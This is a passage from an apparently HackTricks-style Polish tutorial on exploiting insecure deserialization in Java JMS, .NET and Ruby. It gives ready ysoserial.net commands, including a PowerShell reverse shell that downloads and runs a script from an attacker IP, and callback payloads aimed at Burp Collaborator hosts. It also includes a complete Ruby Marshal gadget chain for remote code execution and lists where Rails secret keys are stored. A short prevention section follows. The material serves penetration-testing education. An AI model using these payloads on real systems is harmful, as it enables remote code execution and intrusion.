Dowiedz się, co to jest Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI, CORBA & LDAP oraz jak wykorzystać log4shell (oraz przykład tej podatności) na następującej stronie:

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

Java Message Service (JMS) API to Java API middleware do przesyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, ale obecnie jest kierowany przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i czytać wiadomości. Umożliwia komunikację między różnymi komponentami rozproszonej aplikacji w sposób luźno powiązany, niezawodny i asynchroniczny. (Z Wikipedia).

Produkty

Istnieje kilka produktów wykorzystujących to oprogramowanie pośredniczące do wysyłania wiadomości:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Wykorzystanie

W zasadzie istnieje szereg usług wykorzystujących JMS w niebezpieczny sposób. Dlatego jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz wysłać zserializowane obiekty złośliwe, które zostaną zdeserializowane przez odbiorcę/subskrybenta.
Oznacza to, że w tej eksploatacji wszyscy klienci korzystający z tej wiadomości zostaną zainfekowani.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety do wykorzystania podatności.

Narzędzie JMET zostało stworzone do połączenia i ataku na te usługi, wysyłając wiele zserializowanych obiektów złośliwych za pomocą znanych gadżetów. Te eksploity zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadżetów znajduje się w podatnej aplikacji.

Odnośniki

.Net

W kontekście .Net, eksploatacje deserializacji działają podobnie jak te znalezione w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.

Odcisk palca

WhiteBox

Kod źródłowy powinien być sprawdzony pod kątem wystąpień:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Należy skupić się na serializatorach, które pozwalają określić typ za pomocą zmiennej kontrolowanej przez użytkownika.

BlackBox

Wyszukiwanie powinno być skierowane na zakodowany w Base64 ciąg AAEAAAD///// lub podobny wzorzec, który może zostać poddany deserializacji po stronie serwera, umożliwiając kontrolę nad typem do deserializacji. Może to obejmować, ale nie ograniczać się do struktur JSON lub XML zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku można skorzystać z narzędzia ysoserial.net w celu tworzenia exploitów deserializacji. Po pobraniu repozytorium git należy skompilować narzędzie przy użyciu na przykład Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatujący Json.Net.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget służy do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystana podczas deserializacji do wykonania poleceń).
  • --formatter, służy do wskazania metody serializacji exploitu (musisz wiedzieć, która biblioteka jest używana po stronie serwera do deserializacji ładunku i użyć tej samej do jego serializacji)
  • --output służy do wskazania, czy chcesz exploit w formacie surowym czy zakodowanym w Base64. Zauważ, że ysoserial.net zakoduje ładunek za pomocą UTF-16LE (domyślne kodowanie w systemie Windows), więc jeśli otrzymasz surowy i po prostu zakodujesz go z konsoli Linux, możesz napotkać problemy z zgodnością kodowania, które uniemożliwią poprawne działanie exploitu (w HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działał).
  • --plugin ysoserial.net obsługuje wtyczki do tworzenia exploitów dla konkretnych frameworków jak ViewState

Dodatkowe parametry ysoserial.net

  • --minify dostarczy mniejszego ładunku (jeśli to możliwe)
  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadżety, które można użyć z podanym formatowaniem (Json.Net w tym przypadku)
  • --sf xml możesz wskazać gadżet (-g) i ysoserial.net będzie szukał formatowników zawierających "xml" (bez uwzględniania wielkości liter)

Przykłady exploitów ysoserial do tworzenia:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma również bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test
Jeśli wskazujesz ten parametr, ysoserial.net będzie próbował exploit lokalnie, dzięki czemu możesz przetestować, czy twój payload będzie działać poprawnie.
Ten parametr jest pomocny, ponieważ po przejrzeniu kodu znajdziesz fragmenty kodu takie jak ten (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To oznacza, że w celu przetestowania exploitu kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie jest podatny na stworzony exploit. Jeśli więc znajdziesz coś podobnego w aplikacji .Net, oznacza to prawdopodobnie, że ta aplikacja również jest podatna.
Dlatego parametr --test pozwala nam zrozumieć, które fragmenty kodu są podatne na exploit deserializacji, który może stworzyć ysoserial.net.

ViewState

Zajrzyj do tego POSTa dotyczącego próby wykorzystania parametru __ViewState w .Net do wykonania arbitralnego kodu. Jeśli znasz już tajemnice używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się, jak wykonać kod.

Zapobieganie

Aby zmniejszyć ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. Korzystaj z DataContractSerializer lub XmlSerializer, gdy to możliwe.
  • Dla JSON.Net, ustaw TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%
  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.
  • Ogranicz typy, które mogą być deserializowane, rozumiejąc związane z nimi ryzyka, takie jak System.IO.FileInfo, który może modyfikować właściwości plików serwera, potencjalnie prowadząc do ataków typu odmowa usługi.
  • Bądź ostrożny z typami posiadającymi ryzykowne właściwości, jak System.ComponentModel.DataAnnotations.ValidationException z jego właściwością Value, która może być wykorzystana.
  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec wpływaniu atakujących na proces deserializacji, czyniąc nawet DataContractSerializer lub XmlSerializer podatnymi.
  • Wprowadź kontrolę białej listy za pomocą niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.
  • Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
  • Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby uniknąć ujawnienia znanych gadżetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, dla niezaufanych źródeł danych.

Referencje

Ruby

W Ruby, serializacja jest ułatwiona przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów. Proces ten nazywany jest serializacją. Z kolei druga metoda, load, służy do przywrócenia strumienia bajtów do obiektu, proces ten nazywany jest deserializacją.

Dla zabezpieczenia zserializowanych obiektów, Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany w tym celu jest przechowywany w jednym z kilku możliwych miejsc:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Łańcuch gadżetów deserializacji do RCE w Ruby 2.X (więcej informacji na https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inny łańcuch RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Metoda Ruby .send()

Jak wyjaśniono w tym raporcie o podatności, jeśli niezabezpieczone dane użytkownika docierają do metody .send() obiektu ruby, ta metoda pozwala na wywołanie dowolnej innej metody obiektu z dowolnymi parametrami.

Na przykład, wywołanie eval, a następnie kodu ruby jako drugiego parametru pozwoli na wykonanie arbitralnego kodu:

{% code overflow="wrap" %}

<Object>.send('eval', '<user input with Ruby code>') == RCE

{% endcode %}

Ponadto, jeśli tylko jeden parametr .send() jest kontrolowany przez atakującego, jak wspomniano wcześniej, możliwe jest wywołanie dowolnej metody obiektu, która nie wymaga argumentów lub których argumenty mają wartości domyślne.
W tym celu można wyliczyć wszystkie metody obiektu, aby znaleźć interesujące metody spełniające te wymagania.

{% code overflow="wrap" %}

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

{% endcode %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: